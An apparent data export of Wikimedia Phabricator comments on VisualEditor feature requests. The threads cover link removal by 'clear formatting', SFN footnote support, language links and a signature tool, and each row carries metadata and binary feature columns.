+Actually, this is wrong. Specifically, ""clear formatting"" removes
+everything that's an annotation (things that take text and fiddle with
+it in some way), and not objects or structure - in VisualEditor
+language, ""styles"".
+
+I.e., things that are removed:
+
+* Bold, italics, underlines, strikethrough, superscript, subscript,
+  code style
+* Text size (big/small and font-size attributes)
+* Rich text annotations - links, language (lang=""fr""), direction
+  (dir=""rtl""), …
+* Colours (foreground and background highlight) on text
+* Arbitrary paragraph settings (<span>s with style tags, etc.)
+
+… and things that remain:
+
+* Formats (paragraph/heading/preformatted/blockquote/…)
+* Structure (numbered list/bulleted list/definition list/table/…)
+* Objects (media items/galleries/transclusions/equations/…)
+
+> My point is that bold and italic, etc. are a subset of formatting,
+> but links aren't.
+
+In your meaning of the term ""formatting"". I don't use it that way, and
+neither do similar functions in other rich editors like Word or Google
+Docs, I believe.
+
+> I want the ability to remove formatting without removing links, and
+> the ability to remove links without removing formatting.
+
+I understand the request. :-) I just don't think that it's a need that
+is sufficiently widely-held that we should burden all users with an
+extra button and a confusing ""everything except not that one sorry""
+cognitive step.",,,1383006366,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3geuv3zh7grvfypwtx6m,task_subcomment,,True,c1,3,True,,,17,,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+241981,VisualEditor: Clear formatting button should not remove links,"(In reply to comment #3)
+Also, removing a link takes three clicks if you don't use 'clear
+> formatting'.
+Which is why I said there should be a separate button to remove links with a single click.
+ 
+> 'Clear markup' would be more descriptive, but probably less user-friendly.
+""Clear markup"" doesn't describe what it does either, because it doesn't remove paragraph style, text size, templates, colour, etc. It only removes text formatting and links.
+
+My point is that bold and italic, etc. are a subset of formatting, but links aren't. I want the ability to remove formatting without removing links, and the ability to remove links without removing formatting.",,,1375800747,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-3geuv3zh7grvfypwtx6m,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,0,1,1,0,0,0,1,1,1,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,1
+241977,VisualEditor: Clear formatting button should not remove links,"I agree that links are fundamental to Wikipedia (and other wikis).  However, I think it is quite reasonable that 'clear formatting' removes links.  If you want to remove something in particular, you can use the individual buttons (click bold to unbold, etc.) in most cases.
+
+Part of this is that I've already become used to using 'clear formatting' for links in VE.  But I don't think this seemed unintutive even when I started using VE.  Also, removing a link takes three clicks if you don't use 'clear formatting'.
+
+'Clear markup' would be more descriptive, but probably less user-friendly.",,,1375599397,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-3geuv3zh7grvfypwtx6m,task_subcomment,,True,c1,3,True,,,4,,0,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+241973,VisualEditor: Clear formatting button should not remove links,"Well ""superscript/subscript/underline/strikethrough/big/small/code
+formatting and <span>s setting arbitrary formatting annotations (like ""color:
+red;"" or ""font-family: serif;"" are all just different sorts of text decoration formatting like bold and italic so the clear formatting button is appropriate for all of them.
+
+""language settings (lang=fr and dir=rtl)"" are not in my mind the same thing as bold, strikethrough, etc, but equally they're not the same thing as links. I haven't thought about them before now and I at this point I just don't know what my opinion is and I don't really know what the arguments for an against are, so more thinking needed before I can you a proper answer for those, sorry.
+
+I think possibly the difference in our opinions about links is that you are approaching this from a ""make it like a popular word processor that can edit Wikipedia"" whereas I'm thinking of it from ""make it an editor for Wikipedia that works like word processors"". There might not sound much different in those philosophies, and in most cases I don't think there is. However from a word processing POV links are useful-to-have additional metadata, whereas from a Wikipeida editor POV links are fundamental to the structure and essence they don't conceptually fit with decoration.",,,1374821514,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-3geuv3zh7grvfypwtx6m,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,0,1,0,0,1,0,1,1,1,1,0,1,0,0,1,0,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1
+241967,VisualEditor: Clear formatting button should not remove links,"This is exactly as designed. It also removes language settings (lang=fr and dir=rtl), superscript/subscript/underline/strikethrough/big/small/code formatting, and <span>s setting arbitrary formatting annotations (like ""color: red;"" or ""font-family: serif;"" or …). It's modelled against the same function in other editors, rendering the text down to completely plain text (except for objects like references or templates).
+
+Do you think each of these formatting options should have a ""remove"" function? Only some of them? Only those that trigger an inspector rather than just a boolean state (like links, language and arbitrary settings)? Only links? Why/why not? Happy to change direction but it would need to be a pretty strong reason to change (amongst other things, we'd need to give users ways to break out of the other kinds of pre-annotations as well as removing the selected annotation).",,,1374798885,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3geuv3zh7grvfypwtx6m,task_subcomment,,True,c1,3,True,,,3,,1,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+53522,VisualEditor: Support for SFN and similar references,"One of the major advances in wiki editing in the last few years has been support for the short template-based referencing systems like SFN. I've made it a basic rule to use SFN if a reference is used more than twice within the article, and an inline only in the rare case where it is used once or twice. I realize my editing patterns are not normal, but I think support for these templated refs would improve the editor greatly. 
+
+Perhaps a ""toolbar-like"" editor to one side of the main editor could list of global references created so far, and allow the user to drag a handle from them into the article to place the ref in the body.
+
+Even better, perhaps the use could drag URLs or text into the bar to create semi-filled out master refs.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Lowest,10.0,1374057780,1393541245.0,PHID-USER-5tluooawvjfhtqywnxag,False,,False,PHID-TASK-ksoksajvjcd37y5wvvq2,task_description,declined,True,c1,3,False,False,False,2,,1,0,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0
+526492,VisualEditor: Support for SFN and similar references,"JD, can you point to the ""as discussed previously""? I am not familiar with the problem, so do I understand why this would be a ""horrible hack"".",,,1442227600,,PHID-USER-5tluooawvjfhtqywnxag,False,,,PHID-TASK-ksoksajvjcd37y5wvvq2,task_subcomment,,True,c1,3,False,,,115,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0
+526332,VisualEditor: Support for SFN and similar references,"I guess I agree that it may not be worthwhile to support creating new footnotes with the [[https://en.wikipedia.org/wiki/Template:Sfn| shortened footnotes (SFN) template]]. 
+
+However, for the time being this system is still around on enwiki. And since this bug was filed, the citation reuse features was introduced in VE, and there it's an awkward and confusing user experience that one is not able to reuse already existing sfn footnotes. 
+
+Compare the list of footnotes offered for reuse in
+https://en.wikipedia.org/w/index.php?title=AI_winter&oldid=680877170&veaction=edit  (via ""Cite"" -> ""Re-use"")  with the actual [[https://en.wikipedia.org/w/index.php?title=AI_winter&oldid=680877170#Notes |list of footnotes in that article revision]]. The numbering is inconsistent, e.g. #7 (John Hutchins) in the article becomes #3 in VE, with the original footnots #3, #4, #5 and #6 mission. I had to search and think for a while to realize that I wasn't simply overlooking things and that the reason for the discrepancy is this template.",,,1442195570,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-ksoksajvjcd37y5wvvq2,task_subcomment,,True,c1,3,False,,,115,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,1,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+253315,VisualEditor: Support for SFN and similar references,"Cite.php is designed a certain (bad) way. It has issues, and we will replace it at some point, but the way to fix its issues is not to make horrible hacks in wikitext using loopholes over-looked when the code was written to try to re-design in.
+
+This is one of those cases, and is not sanely supportable in VisualEditor, so I'm going to mark this as WONTFIX. I know I previously said ""lowest"", but I don't think that that's a justifiable direction for the product to go in.",,,1393541245,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ksoksajvjcd37y5wvvq2,task_subcomment,,True,c1,3,True,,,34,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
+253311,VisualEditor: Support for SFN and similar references,"As discussed previously, supporting this wikitext hack is exceptionally difficult to do, and it would be much more sensible to spend the effort on a proper cross-page, cross-wiki citations system instead which would solve the same problem (and lots more). However, it's not impossible, so keeping open as a lowest-priority enhancements.",,,1383281654,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ksoksajvjcd37y5wvvq2,task_subcomment,,True,c1,3,True,,,17,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,1,0
+53355,Feature request for VisualEditor language setting  +ULS +Wikidata interwikis,"Hi,
+
+a: Currently language list displayed below MediaWiki:Visualeditor-dialog-meta-languages-readonlynote/mr does not open the respective language wiki but when that is possible along with that respective language item ULS should offer option to open up the respective language wiki with related display and/or input .May be this shall need to mingle three extensions VE,wikidata,ULS and also
+
+b When in menubar languages displayed by wikidata if curser hover over any wiki language name options as requested in 4a should display and available. (Whether this needs to split as a separate bug ?)
+
+
+
+*To understand further the need for above request,please do refer to survey
+data and analysis provided at
+http://www.mediawiki.org/wiki/Talk:Universal_Language_Selector#feature_to_make_content_language_input__default_28864
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51431",Lowest,10.0,1373886360,,PHID-USER-azy72hrp3tpetr52aob6,False,,False,PHID-TASK-jfzrmnmoj3qahau2ohse,task_description,open,True,c1,3,False,False,,2,,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,1
+243283,Feature request for VisualEditor language setting  +ULS +Wikidata interwikis,"1(In reply to comment #6)
+> (In reply to comment #5)
+> However, is this a duplicate of bug 52383 maybe?
+
+::No not at all,if I have read bug 52383 correctly,it is asking to scrap certain feature made avaialable by VE by some frustrated user.Unless you are ready to scrap parts of VE design in that sense it is not an enhancement bug at all and most likely bug 52383 need to be wont fix
+
+
+* This bug 51355 assumes that any way you will be completeing the bug 52105. This bug is an enhancement over bug 52105 (So parsing job is happening at bug 52105)  and also expects bug 51431 enhancement also too take place.
+::In other words this bug 51355 wants to mount bug 51431 enhancement over bug 52105 enhancement.",,,1376726474,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-jfzrmnmoj3qahau2ohse,task_subcomment,,True,c1,3,False,,,6,,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,1,1
+243274,Feature request for VisualEditor language setting  +ULS +Wikidata interwikis,"(In reply to comment #5)
+> *In VisualEditor - Toolbar -Page settings - language Section shows languages
+> heading with following message  
+> http://www.mediawiki.org/wiki/MediaWiki:Visualeditor-dialog-meta-languages-
+> section 
+> *Below this message  VisualEditor - Toolbar -Page settings - language Section
+> reproduces the same list of interwiki languages that I provided by Wiki data.
+> *Currently these language links are not parsed. 
+
+Not sure what you want to ""parse"" here, plus parsed by who?
+However, is this a duplicate of bug 52383 maybe?
+
+Please also update the bug summary to be descriptive. Thanks!",,,1376565627,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jfzrmnmoj3qahau2ohse,task_subcomment,,True,c1,3,True,,,6,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,1,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+243266,Feature request for VisualEditor language setting  +ULS +Wikidata interwikis,"I have split point b in a separate bug 51431.  
+
+
+*In VisualEditor - Toolbar -Page settings - language Section shows languages heading with following message  
+http://www.mediawiki.org/wiki/MediaWiki:Visualeditor-dialog-meta-languages-section 
+
+*Below this message  VisualEditor - Toolbar -Page settings - language Section reproduces the same list of interwiki languages that I provided by Wiki data.
+
+*Currently these language links are not parsed. 
+
+*This bug expects the same feature that is expected in bug 51431 but in context of Visual Editor toolbar -page settings languages",,,1374080554,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-jfzrmnmoj3qahau2ohse,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+243258,Feature request for VisualEditor language setting  +ULS +Wikidata interwikis,...and please provide a bug summary that describes the actual feature request.,,,1374075864,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jfzrmnmoj3qahau2ohse,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0
+243250,Feature request for VisualEditor language setting  +ULS +Wikidata interwikis,"Please provide exact and clear steps (click by click, as a numbered list) so anybody else could reproduce the problem, plus the expected and the actual outcome. I still don't know which page you are on, etc.
+See https://www.mediawiki.org/wiki/How_to_report_a_bug for general info.",,,1374075169,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jfzrmnmoj3qahau2ohse,task_subcomment,,True,c1,3,True,,,2,,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1
+243243,Feature request for VisualEditor language setting  +ULS +Wikidata interwikis,"Created attachment 12860
+Request for Wikidata interwiki wikis to open with respective language ULS display and input
+
+**Attached**: {F11455}",,,1373971802,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-jfzrmnmoj3qahau2ohse,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+243235,Feature request for VisualEditor language setting  +ULS +Wikidata interwikis,"Please provide a screenshot of the current problem that you would like to
+solve, plus a link to a wikipage where the problem can be seen. 
+Furthermore, please only file one problem per report. 
+Also see https://www.mediawiki.org/wiki/How_to_report_a_bug
+
+> *To understand further the need for above request,please do refer to survey
+> data and analysis provided at
+> http://www.mediawiki.org/wiki/Talk:
+> Universal_Language_Selector#feature_to_make_content_language_input__default_2
+> 8864
+
+Please summarize the points made there instead of making me read a long thread.",,,1373893720,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jfzrmnmoj3qahau2ohse,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+53154,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"The ability to sign posts is useful outside of talk name spaces. For instance http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback is in project space. While that might one day be in flow there are many other project space items where  its useful to be able to sign. For instance lists of project members. Some uses have guest books in the User: space which can be signed. 
+
+You can't even enter them manually due to T51820.
+
+A button to insert this would be good, possibly done at the same time as bug 38029 which would insert symbols.
+ 
+This was discussed at http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_07#Let_me_sign.21
+
+----
+
+VisualEditor now allows you to insert signatures on pages that are in `$wgExtraSignatureNamespaces` (and any talk pages).
+
+This was previously implemented as a user script / gadget is available at https://meta.wikimedia.org/wiki/User:Matma_Rex/visualeditor-signature.js.",Lowest,10.0,1373511180,1447719434.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-kttslfnxq434mabydy2v,task_description,resolved,True,c1,3,False,False,False,1,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,1,0,1,0,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0
+685488,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"@Trizek-WMF Sure, I know, @Urbanecm told us the same on cswiki on community forum. I think we also have got on cswiki some bugs subpage under WP:Flow page, where all the bugs found are listed. I'll take a look into tasks I sent here, if there is another one I forgot to mention on that subpage.",,,1467125739,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,156,,1,0,0,1,0,1,1,0,0,1,0,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,0,0,0,0
+685485,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"@Trizek-WMF Sure, I know, @Urbanecm told us the same on cswiki on community forum. I think we also have got on cswiki some bugs subpage under WP:Flow page, where all the bugs are listed. I'll take a look into tasks I sent here, if there is another one I forgot to mention on that subpage.",,,1467125678,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,156,,1,0,0,1,0,1,1,0,0,1,0,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,0,0,0,0
+685408,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"@Dvorapa, please contact me if you have any suggestions about Flow bugs which need to be fixed.",,,1467110390,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,156,,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,0,1,0,0,0,0
+683105,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,,,,1466612046,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,155,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+683008,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,,,,1466604894,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,155,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+682988,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,">>! In T53154#2399021, @Dvorapa wrote:
+> @Jdforrester-WMF I see, thank you. Still looking for a good talk solution - Flow is too buggy, VisualEditor is not really designed for discussions and wikitext is not easy to learn for novice users.
+
+I think getting the bugs in Flow fixed is the best option at this point, but I appreciate that there's a few things people would like to see added there.",,,1466602713,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,155,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1
+682987,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"@Jdforrester-WMF I see, thank you. Still looking for a good talk solution - Flow is too buggy, VisualEditor is not really designed for discussions and wikitext is not easy to learn for novice users.",,,1466602589,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,155,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0
+682980,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,">>! In T53154#2398111, @Dvorapa wrote:
+> Is there any option how to add a signature button to the main VE bar (e.g. instead of the special symbol button or next to?) (discussed on cswiki; just asking if possible)
+
+This is not possible. We intentionally do not allow the toolbar to vary in the position of buttons on the same wiki.",,,1466602060,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,155,,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+682787,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,Is there any option how to add a signature button to the main VE bar (e.g. instead of the special symbol button or next to?) (discussed on cswiki; just asking if possible),,,1466559576,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,155,,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,0,0
+682786,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Is there any option how to add a signature button to the main VE bar (e.g. instead of the special symbol button or next to?) (cswiki; in discussion, just asking if possible)",,,1466559547,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,155,,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,0,0
+682785,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,Is there any option how to add a signature button to the main VE bar (e.g. instead of the special symbol button or next to?),,,1466559506,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,155,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0
+563852,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Change 251834 merged by jenkins-bot:
+Provide a tool to insert a signature in namespaces that need it
+
+[[https://gerrit.wikimedia.org/r/251834]]",,,1447719403,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,124,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+560016,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Change 251834 had a related patch set uploaded (by Bartosz Dziewoński):
+Provide a tool to insert a signature in namespaces that need it
+
+[[https://gerrit.wikimedia.org/r/251834]]
